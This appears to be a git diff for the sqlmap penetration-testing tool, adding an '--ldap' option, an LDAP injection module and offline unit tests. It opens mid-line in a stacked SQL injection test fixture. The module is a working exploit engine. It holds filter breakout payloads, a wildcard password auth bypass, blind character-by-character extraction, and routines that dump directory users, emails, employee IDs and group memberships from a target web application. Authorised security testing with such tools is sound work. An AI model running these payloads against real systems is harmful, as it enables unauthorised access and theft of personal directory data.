\"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 42f67f7bc..ea79f3115 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -421,6 +421,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--graphql", dest="graphql", action="store_true", help="Test for GraphQL injection (introspection, field/argument fuzzing, SQL/NoSQL payload families)") + techniques.add_argument("--ldap", dest="ldap", action="store_true", + help="Test for LDAP injection (filter breakout, boolean blind, auth bypass)") + techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) diff --git a/lib/techniques/ldap/__init__.py b/lib/techniques/ldap/__init__.py new file mode 100644 index 000000000..bcac84163 --- /dev/null +++ b/lib/techniques/ldap/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py new file mode 100644 index 000000000..ef373d919 --- /dev/null +++ b/lib/techniques/ldap/inject.py @@ -0,0 +1,750 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re + +from collections import namedtuple + +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import LDAP_CHAR_MAX +from lib.core.settings import LDAP_CHAR_MIN +from lib.core.settings import LDAP_ERROR_REGEX +from lib.core.settings import LDAP_ERROR_SIGNATURES +from lib.core.settings import LDAP_FINGERPRINT_ATTRIBUTES +from lib.core.settings import LDAP_MAX_LENGTH +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + +try: + from lib.core.settings import LDAP_MAX_RECORDS +except ImportError: + LDAP_MAX_RECORDS = 20 + + +SENTINEL = randomStr(length=10, lowercase=True) + +# _send() below currently knows how to rebuild GET and POST-style parameter +# strings. Cookie and URI delivery require separate per-place logic and should not +# be advertised until implemented. +LDAP_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Breakouts are tried against the original application filter template. The +# generated assertion fragments intentionally stay open-ended: the vulnerable +# application usually appends the closing ')' or trailing substring '*') itself. +LDAP_BREAKOUT_PREFIXES = ( + "*)", # substring + one assertion: (attr=**) + ")", # exact-match one assertion: (attr=) + "|", # injection at filter-list head + "*))(", # substring + two assertions deep + "*)))", # substring + three assertions deep + ")))", # exact-match three assertions deep +) + +LDAP_TAUTOLOGY_ATTRIBUTES = ( + "objectClass", + "uid", + "cn", +) + +ENTRY_KEY_ATTRIBUTES = ( + "uid", + "sAMAccountName", + "userPrincipalName", + "mail", + "cn", +) + +DUMP_ATTRIBUTES = ( + "uid", + "cn", + "sn", + "givenName", + "displayName", + "mail", + "sAMAccountName", + "userPrincipalName", + "title", + "department", + "company", + "o", + "ou", + "telephoneNumber", + "mobile", + "manager", + "description", + "l", + "st", + "street", + "postalCode", + "c", + "co", + "employeeID", + "employeeNumber", + "employeeType", + "objectClass", + "objectCategory", +) + +MULTI_VALUE_ATTRIBUTES = ( + "member", + "memberOf", + "uniqueMember", +) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "breakout", "bypass")) +Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None) + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + try: + kwargs = {"raise404": False, "silent": True} + payload = _replaceSegment(place, parameter, value) + kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload + + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + page, _, _ = Request.getPage(**kwargs) + return page or "" + except Exception as ex: + logger.debug("LDAP probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.skipUrlEncode = skipUrlEncode + + +def _isError(page): + return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in LDAP_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return "Generic LDAP" if _isError(page) else None + + +def _probeBackendByParserError(place, parameter): + """Probe for LDAP filter parser errors to obtain a backend hint. + This is NOT authoritative vulnerability detection -- only a boolean + oracle (from _detectBoolean) confirms exploitable injection.""" + + original = _originalValue(place, parameter) or "x" + normal = _send(place, parameter, original) + + # Use LDAP filter syntax breakers, not apostrophes. Apostrophes are not LDAP + # filter metacharacters and only detect broken LDAP emulators backed by SQL. + for suffix in (")", "*)"): + payload = original + suffix + broken = _send(place, parameter, payload) + + if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, payload + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge.""" + + truePage = truthy() + if not truePage or _isError(truePage): + return None + + falsePage = falsy() + if not falsePage or _isError(falsePage): + return None + + truePage2 = truthy() + if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, breakout) for boolean-blind LDAPi.""" + + original = _originalValue(place, parameter) or "" + falsePayload = original + SENTINEL + + for breakout in LDAP_BREAKOUT_PREFIXES: + for attr in LDAP_TAUTOLOGY_ATTRIBUTES: + # Open fragment by design. The application template supplies the tail. + truePayload = "%s%s(%s=*" % (original, breakout, attr) + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, breakout + + # Useful for auth/search bypass reporting, but not enough to synthesize + # arbitrary LDAP filters for enumeration. + if original: + template = _boolean(lambda: _send(place, parameter, "*"), + lambda: _send(place, parameter, SENTINEL)) + if template: + return template, "*", None + + return None, None, None + + +def _isPasswordParam(parameter): + parameter = getUnicode(parameter or "").lower() + return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth")) + + +def _detectAuthBypass(place, parameter): + if not _isPasswordParam(parameter): + return None + + starPage = _send(place, parameter, "*") + sentinelPage = _send(place, parameter, SENTINEL) + + if starPage and sentinelPage and _ratio(starPage, sentinelPage) < UPPER_RATIO_BOUND: + return "*" + + return None + + +def _fingerprintByError(backend): + if not backend: + return None + if "Active Directory" in backend: + return "Microsoft Active Directory" + if "OpenLDAP" in backend: + return "OpenLDAP" + if "ApacheDS" in backend: + return "ApacheDS" + if "Oracle" in backend: + return "Oracle Directory Server" + if "389" in backend: + return "389 Directory Server" + if "python-ldap" in backend or "Java JNDI" in backend: + return backend + return backend + + +def _transportEncode(value): + """ + Encode only transport-sensitive characters because _send() disables sqlmap's + regular URL encoding. LDAP filter syntax should remain raw; assertion values + should be passed through _ldapLiteral() first. + """ + + value = getUnicode(value) + value = value.replace("%", "%25") + value = value.replace("#", "%23") + value = value.replace("&", "%26") + value = value.replace("+", "%2B") + value = value.replace("=", "%3D") + value = value.replace(" ", "%20") + return value + + +def _ldapLiteral(value): + """Escape an LDAP assertion value, then protect URL transport bytes.""" + + value = getUnicode(value) + value = value.replace("\\", "\\5c") + value = value.replace("*", "\\2a") + value = value.replace("(", "\\28") + value = value.replace(")", "\\29") + value = value.replace("\x00", "\\00") + return _transportEncode(value) + + +class _ProbeBuilder(object): + """ + Build payloads that preserve the winning breakout shape. + + Simple probes are open fragments, e.g. SENTINEL*)(uid=adm* + The target application's original filter template supplies the closing suffix. + Compound probes close their own (&...) filter, then open a dummy assertion to + consume that same application suffix. + """ + + def __init__(self, breakout): + self.breakout = breakout or ")" + + def raw(self, fragment, lead=None): + return "%s%s%s" % (lead if lead is not None else SENTINEL, self.breakout, fragment) + + def presence(self, attr, constraint=None, exclusions=None): + assertion = "(%s=*)" % attr + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=*" % attr) + + def prefix(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=%s*)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=%s*" % (attr, _ldapLiteral(value))) + + def contains(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=*%s*)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=*%s*" % (attr, _ldapLiteral(value))) + + def equals(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=%s)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + + # Exact equality cannot be made reliable in an unknown trailing template, + # so simple contexts fall back to prefix semantics. + return self.prefix(attr, value) + + def _compound(self, assertion, constraint=None, exclusions=None): + clauses = [] + + if constraint: + cAttr, cValue = constraint + clauses.append("(%s=%s)" % (cAttr, _ldapLiteral(cValue))) + + for eAttr, eValue in exclusions or (): + clauses.append("(!(%s=%s))" % (eAttr, _ldapLiteral(eValue))) + + # Raw '&' would split GET parameters because skipUrlEncode=True. Use %26 + # so the HTTP layer decodes it into LDAP '&' inside the parameter value. + compound = "(%%26%s%s)" % ("".join(clauses), assertion) + + # Dummy suffix eater: the original app template can safely append its tail. + return self.raw("%s(objectClass=%s*" % (compound, SENTINEL)) + + +def _makeOracle(place, parameter, template): + cache = {} + + def request(payload): + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + return cache[payload] + + falsePage = request(SENTINEL) + + def oracle(payload): + page = request(payload) + if not page or _isError(page): + return False + return _ratio(template, page) >= UPPER_RATIO_BOUND + + def extract(payload): + page = request(payload) + if not page or _isError(page): + return False + return _ratio(falsePage, page) < UPPER_RATIO_BOUND + + oracle.extract = extract + oracle.template = template + oracle.falsePage = falsePage + oracle.cache = cache + return oracle + + +# Avoid LDAP metacharacters in blind character extraction. In real LDAP they can +# be escaped, but many simple test harnesses decode them before wildcard handling, +# producing false positives. Transport-sensitive chars are allowed because +# _ldapLiteral() encodes them. +_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._-+ ")) +_CHARSET = [] +for _ in _FREQ: + if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(LDAP_CHAR_MIN, LDAP_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + + +def _exists(oracle, builder, attr, constraint=None, exclusions=None): + return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions)) + + +def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH): + value = "" + probes = 0 + + for _ in xrange(maxLen): + found = False + + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 + + if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)): + value = candidate + found = True + break + + if not found: + break + + # Three or more consecutive trailing spaces never occur in real + # directory data. When the server-side LDAP-to-SQL translation + # (or equivalent) spuriously matches a trailing-space probe (e.g. + # mail=user@dom * matching user@dom), the extraction would + # otherwise chase an endless phantom suffix. Terminate and strip. + if value.endswith(" "): + value = value.rstrip() + break + + logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value))) + return value if value else None + + +def _fingerprintByAttribute(oracle, builder): + for attr, expected, backend in LDAP_FINGERPRINT_ATTRIBUTES: + if not _exists(oracle, builder, attr): + continue + + if expected: + if oracle.extract(builder.contains(attr, expected)): + return backend + else: + return backend + + return None + + +def _dumpInband(oracle, slot): + """If the always-true template page exposes directory entries directly + (e.g. as JSON), extract them in one shot instead of blind brute-force.""" + import json + + page = oracle.template + if not page or not page.strip().startswith('{'): + return False + + try: + data = json.loads(page) + entries = data.get("entries") or data.get("results") or () + except (ValueError, TypeError): + return False + + if not entries or not isinstance(entries, (list, tuple)): + return False + + columns = [] + seen = set() + for entry in entries: + if not isinstance(entry, dict): + continue + for key in entry: + if key not in seen: + columns.append(getUnicode(key)) + seen.add(key) + + if not columns: + return False + + rows = [] + for entry in entries: + if not isinstance(entry, dict): + continue + rows.append(tuple(getUnicode(entry.get(c, "")) for c in columns)) + + # Drop columns where every row is empty (common with wide schemas). + populated = [] + for ci, col in enumerate(columns): + if any(r[ci] for r in rows): + populated.append(ci) + if populated and len(populated) < len(columns): + columns = [columns[i] for i in populated] + rows = [tuple(r[i] for i in populated) for r in rows] + + logger.info("in-band data exposure: %d record(s)" % len(rows)) + _dumpTable("LDAP: %s parameter '%s' in-band entries" % (slot.place, slot.parameter), + columns, rows) + return True + + +def _probeRootDSE(oracle, builder): + for attr in ("namingContexts", "subschemaSubentry", "vendorName", "vendorVersion"): + if not _exists(oracle, builder, attr): + continue + + value = _inferAttribute(oracle, builder, attr) + if value: + logger.info("directory %s: '%s'" % (attr, value)) + + +def _enumerateEntryKeys(oracle, builder): + for keyAttr in ENTRY_KEY_ATTRIBUTES: + if not _exists(oracle, builder, keyAttr): + continue + + values = [] + while len(values) < LDAP_MAX_RECORDS: + exclusions = [(keyAttr, _) for _ in values] + value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions) + + if not value or value in values: + break + + values.append(value) + logger.info("identified directory entry: %s='%s'" % (keyAttr, value)) + + if values: + return keyAttr, values + + return None, [] + + +def _dumpEntries(oracle, builder, place, parameter): + keyAttr, keys = _enumerateEntryKeys(oracle, builder) + if not keys: + logger.warning("could not identify a stable directory entry key") + return False + + rows = [] + discovered = set() + + for key in keys: + constraint = (keyAttr, key) + row = {keyAttr: key} + logger.info("extracting attributes for entry %s='%s'" % (keyAttr, key)) + + for attr in DUMP_ATTRIBUTES: + if attr == keyAttr: + continue + + logger.info("probing attribute '%s'" % attr) + if not _exists(oracle, builder, attr, constraint=constraint): + continue + + value = _inferAttribute(oracle, builder, attr, constraint=constraint) + if value: + row[attr] = value + discovered.add(attr) + + rows.append(row) + + columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered] + tableRows = [tuple(row.get(column, "") for column in columns) for row in rows] + + logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies")) + _dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows) + return True + + +def _dumpMultiValues(oracle, builder, place, parameter): + dumped = False + + for attr in MULTI_VALUE_ATTRIBUTES: + if not _exists(oracle, builder, attr): + continue + + value = _inferAttribute(oracle, builder, attr) + if value: + logger.info("fetched 1 value from attribute '%s'" % attr) + _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)]) + dumped = True + + return dumped + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(row[index])) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpTable(title, columns, rows): + if rows: + conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows))) + + +def ldapScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + infoMsg = "'--ldap' is self-contained: it detects LDAP injection in HTTP " + infoMsg += "parameters and dumps reachable directory entries. SQL enumeration " + infoMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.info(infoMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + slots = [] + + for place in (_ for _ in LDAP_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing LDAP injection on %s parameter '%s'" % (place, parameter)) + + # Phase 1: probe the LDAP filter parser for a backend hint. + # This is NOT authoritative -- only a boolean oracle confirms + # exploitable injection. + backendHint, _errorPayload = _probeBackendByParserError(place, parameter) + if backendHint: + backendHint = _fingerprintByError(backendHint) + + # Phase 2: establish a boolean oracle (authoritative). + template, payload, breakout = _detectBoolean(place, parameter) + if template and breakout: + found += 1 + backend = backendHint or None + logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) + + oracle = _makeOracle(place, parameter, template) + slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout)) + continue + + # Phase 3: wildcard auth bypass (credential fields only). + bypass = _detectAuthBypass(place, parameter) + if bypass: + found += 1 + logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter)) + slots.append(Slot(place=place, parameter=parameter, bypass=bypass)) + continue + + # Parser-error alone is not exploitable -- log it but do not + # create a vulnerability report. + if backendHint: + logger.info("%s parameter '%s' reaches an LDAP filter parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint)) + + if not slots: + if tested: + warnMsg = "no parameter appears to be injectable via LDAP injection (%d tested)" % tested + else: + warnMsg = "no parameters found to test for LDAP injection" + logger.warning(warnMsg) + return + + # Print auth-bypass reports. + for slot in slots: + if slot.bypass: + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP auth bypass (wildcard)\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.bypass)) + + # Select the first oracle-bearing slot for fingerprint + enumeration. + slot = next((_ for _ in slots if _.oracle and _.breakout), None) + if not slot: + logger.info("LDAP scan complete") + return + + # Refine backend fingerprint if we only have a generic hint. + builder = _ProbeBuilder(slot.breakout) + oracle = slot.oracle + if not slot.backend or slot.backend == "Generic LDAP": + backend = _fingerprintByAttribute(oracle, builder) + if backend: + logger.info("identified back-end DBMS: '%s'" % backend) + slot = slot._replace(backend=backend) + + # Determine extraction method: in-band if the template page already + # contains parseable JSON entries, otherwise blind. + import json + page = oracle.template + inband = False + if page and page.strip().startswith('{'): + try: + data = json.loads(page) + entries = data.get("entries") or data.get("results") or () + inband = bool(entries and isinstance(entries, (list, tuple))) + except (ValueError, TypeError): + pass + + title = "LDAP in-band data exposure" if inband else "LDAP boolean-based blind" + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload)) + + logger.info("probing RootDSE-style directory metadata") + _probeRootDSE(oracle, builder) + + if inband: + dumped = _dumpInband(oracle, slot) + else: + dumped = _dumpEntries(oracle, builder, slot.place, slot.parameter) + dumped = _dumpMultiValues(oracle, builder, slot.place, slot.parameter) or dumped + + if not dumped: + warnMsg = "LDAP injection is confirmed but no directory data could be extracted. " + warnMsg += "The injection point may expose only a limited boolean oracle or ACLs restrict reads" + logger.warning(warnMsg) + + logger.info("LDAP scan complete") diff --git a/tests/test_ldap.py b/tests/test_ldap.py new file mode 100644 index 000000000..b4bc24086 --- /dev/null +++ b/tests/test_ldap.py @@ -0,0 +1,420 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the LDAP injection engine. Mock oracles stand in for the +HTTP/LDAP layer so detection, fingerprinting, blind inference, and output formatting can +be exercised without a live target. +""" + +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.ldap.inject as ldap + +# --- Helpers ---------------------------------------------------------------- + +SENTINEL = ldap.SENTINEL + + +def _mockOracle(value): + """Build a mock extract oracle that knows the full target value. Probes + use _ProbeBuilder.prefix() which encodes via _ldapLiteral and + _transportEncode; reverse both so the plain prefix can be compared.""" + class Oracle(object): + def extract(self, probe): + # Decode %xx transport escapes (done by _transportEncode). + # Order matters: %25 (literal '%') must be decoded before other + # %xx sequences whose '%' came from the *encoding* pass. + def _transportDecode(s): + s = s.replace("%25", "\x00") # placeholder for literal % + s = s.replace("%23", "#") + s = s.replace("%26", "&") + s = s.replace("%2B", "+") + s = s.replace("%3D", "=") + s = s.replace("%20", " ") + s = s.replace("\x00", "%") # restore literal % + return s + + # Decode LDAP \xx hex escapes (done by _ldapLiteral). + def _ldapDecode(s): + return re.sub(r"\\([0-9a-fA-F]{2})", + lambda m: chr(int(m.group(1), 16)), s) + + # Probe format: SENTINEL)(attr=_ldapLiteral(prefix_char)* + idx = probe.rfind(")(") + if idx < 0: + return False + rest = probe[idx + 2:] # after )( + if "=" not in rest or not rest.endswith("*"): + return False + inner = rest[:-1] # strip trailing * + attr, val = inner.split("=", 1) + prefix = _transportDecode(_ldapDecode(val)) + return value.startswith(prefix) + return Oracle() + + +import re + + +# --- Tests ------------------------------------------------------------------ + +class TestHelpers(unittest.TestCase): + def test_ratio_identical(self): + self.assertGreater(ldap._ratio("abc", "abc"), 0.9) + + def test_ratio_different(self): + self.assertLess(ldap._ratio("abc", "xyz"), 0.5) + + def test_ratio_none(self): + self.assertEqual(ldap._ratio(None, "abc"), 0.0) + self.assertEqual(ldap._ratio("abc", None), 0.0) + + def test_delim_get(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.GET), '&') + + def test_delim_cookie_default(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.COOKIE), ';') + + def test_originalValue(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=test&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'test', 'x': '123'}} + self.assertEqual(ldap._originalValue(PLACE.GET, 'q'), 'test') + self.assertEqual(ldap._originalValue(PLACE.GET, 'x'), '123') + + def test_replaceSegment(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=old&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'old', 'x': '123'}} + result = ldap._replaceSegment(PLACE.GET, 'q', 'new') + self.assertIn('q=new', result) + self.assertIn('x=123', result) + + +class TestFingerprinting(unittest.TestCase): + def test_fingerprintByError_ad(self): + self.assertEqual(ldap._fingerprintByError("Microsoft Active Directory"), + "Microsoft Active Directory") + + def test_fingerprintByError_openldap(self): + self.assertEqual(ldap._fingerprintByError("OpenLDAP"), "OpenLDAP") + + def test_fingerprintByError_apacheds(self): + self.assertEqual(ldap._fingerprintByError("ApacheDS"), "ApacheDS") + + def test_fingerprintByError_oracle(self): + self.assertEqual(ldap._fingerprintByError("Oracle Directory Server"), + "Oracle Directory Server") + + def test_fingerprintByError_389(self): + self.assertEqual(ldap._fingerprintByError("389 Directory Server"), + "389 Directory Server") + + def test_fingerprintByError_generic(self): + self.assertEqual(ldap._fingerprintByError("Generic LDAP"), "Generic LDAP") + + def test_fingerprintByError_jndi(self): + self.assertEqual(ldap._fingerprintByError("Java JNDI"), "Java JNDI") + + def test_fingerprintByError_pythonldap(self): + self.assertEqual(ldap._fingerprintByError("python-ldap"), "python-ldap") + + +class TestGrid(unittest.TestCase): + def test_grid_simple(self): + cols = ["attr", "value"] + rows = [("uid", "admin"), ("cn", "Admin User")] + output = ldap._grid(cols, rows) + self.assertIn("attr", output) + self.assertIn("uid", output) + self.assertIn("admin", output) + self.assertIn("cn", output) + self.assertIn("Admin User", output) + + def test_grid_empty(self): + output = ldap._grid(["a"], []) + self.assertIn("a", output) + + def test_grid_single_row(self): + cols = ["col"] + rows = [("val",)] + output = ldap._grid(cols, rows) + self.assertIn("col", output) + self.assertIn("val", output) + + +class TestErrorDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend = ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_detectError_openldap(self): + ldap._send = lambda p, pm, v: ( + "Bad search filter (-7)" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "OpenLDAP") + + def test_detectError_ad(self): + ldap._send = lambda p, pm, v: ( + "LDAP: error code 49 - 80090308: LdapErr: DSID-0C090308, " + "comment: AcceptSecurityContext error, data 525" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "Microsoft Active Directory") + + def test_detectError_apacheds(self): + ldap._send = lambda p, pm, v: ( + "javax.naming.directory.InvalidSearchFilterException: Unbalanced parenthesis" + if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "ApacheDS") + + def test_detectError_notInjected(self): + ldap._send = lambda p, pm, v: "OK" + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertIsNone(backend) + + def test_detectError_uses_ldap_metacharacter(self): + """Blockers 1: error detection must use LDAP filter metacharacter, + not an apostrophe (which is not an LDAP special char).""" + # Verify the probe appends ')' (unbalanced paren), not "'" (SQL quote) + calls = [] + ldap._send = lambda p, pm, v: calls.append(v) or "OK" + from lib.core.enums import PLACE + ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertTrue(any(v.endswith(')') for v in calls)) + self.assertFalse(any("'" in v for v in calls if len(v) > 2)) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend = ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_boolean_divergence(self): + """True payload returns different content than false payload. + The engine tries multiple breakout prefixes; the first '*')' with + '(objectClass=*)' tautology should succeed.""" + def fakeSend(place, param, value): + # First breakout '*)' with (objectClass=*) succeeds + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + self.assertIn("*)(objectClass=*", bypass) + + +class TestExtraction(unittest.TestCase): + def test_inferAttribute_simple(self): + """Blind-extract a value with a controlled oracle.""" + oracle = _mockOracle("admin") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "admin") + + def test_inferAttribute_empty(self): + """No probes match.""" + oracle = _mockOracle("") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertIsNone(value) + + def test_inferAttribute_partial(self): + """Probe matches a single char only.""" + oracle = _mockOracle("a") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "a") + + def test_inferAttribute_email(self): + """Extract value with special characters.""" + oracle = _mockOracle("admin@example.com") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "mail") + self.assertEqual(value, "admin@example.com") + + +class TestIsError(unittest.TestCase): + def test_isError_positive(self): + self.assertTrue(ldap._isError("Bad search filter (-7)")) + + def test_isError_negative(self): + self.assertFalse(ldap._isError("OK")) + + def test_isError_ad(self): + self.assertTrue(ldap._isError("AcceptSecurityContext error, data 525")) + + +class TestSlot(unittest.TestCase): + def test_slot_defaults(self): + slot = ldap.Slot(place="GET", parameter="q") + self.assertEqual(slot.place, "GET") + self.assertEqual(slot.parameter, "q") + self.assertIsNone(slot.backend) + self.assertIsNone(slot.oracle) + self.assertIsNone(slot.template) + self.assertIsNone(slot.payload) + self.assertIsNone(slot.breakout) + self.assertIsNone(slot.bypass) + + +class TestBoundaries(unittest.TestCase): + def test_breakout_prefixes_defined(self): + """Verify the breakout prefix list is non-empty and ordered.""" + self.assertGreaterEqual(len(ldap.LDAP_BREAKOUT_PREFIXES), 4) + # First prefix should be the simplest/most generic + 